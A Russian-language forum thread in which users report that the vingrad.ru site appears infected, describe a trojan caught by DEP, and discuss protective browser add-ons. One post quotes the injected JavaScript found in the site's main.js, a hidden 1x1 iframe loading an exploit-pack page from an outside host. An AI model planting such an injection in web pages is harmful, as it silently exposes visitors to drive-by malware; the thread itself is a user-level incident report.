Vingrad заражён?

[Хакер]

Зашёл на в одну тему на форуме vingrad.ru.
FireFox показал вверху страницы полоску «Для отображения всего мультимедийного контекта этой страницы требуются дополнительные плагины». Сам же файрфокс потерял фокус, а окно GOM Player-а вышло на передний план.

Через некоторое время зловред был уложен DEP-ом:

Это Trojan.Win32.VBKrypt.clkc. Написан на VB, упакован UPX-ом.

[Proxy]

WOT уже оценивает vingrad.ru неудовлетворительно по "заслуживает доверия"

[iGrok]

Заражён, да. Причём достаточно давно. Это с вирусом оттуда я играл в "кто быстрее", вырубая яву, как только появилось окошко.
Там целый пакет эксплоитов стоит, на разные дыры в разных браузерах. Скорей всего в скрытом фрейме.

[Хакер]

Они (тамошняя администрация) не знают или не знают что с этим делать?

[iGrok]

Они (тамошняя администрация) не знают или не знают что с этим делать?

Этого я не знаю. Я там даже не зареген, только статьи читаю иногда.

Вот бяка:

Код: Выделить всё

document.write(' <iframe src="http://hiuopertik.dyndns.org/j7yfdaq/ancnhpdveljn.php?n=dunner" width="1" height="1" frameborder="0"></iframe> ');

Лежит в http://vingrad.ru/js/main.js, видно только под фоксой.
Для оперы, видимо, используется что-то другое. Не хочу сейчас открывать страницу и опять гоняться с ними..

[BV]

Кинул ссылочку одному из админов. С винградом всегда весело.
У меня AdBlock режет все сторонние скрипты, так что с вирусом не сталкивался

[Proxy]

У меня AdBlock режет все сторонние скрипты, так что с вирусом не сталкивался

AdBlock? Он не отреагировал, он вроде бы только на рекламу нацелен, отреагировал только NoScript. Ну и WOT оповещает (больше он ничего не умеет).

[BV]

Написал AdBlock, а имел ввиду, конечно, связку NoScript + AdBlock. Просто для меня это уже настолько привычная связка, что вот стал не замечать, как называю одним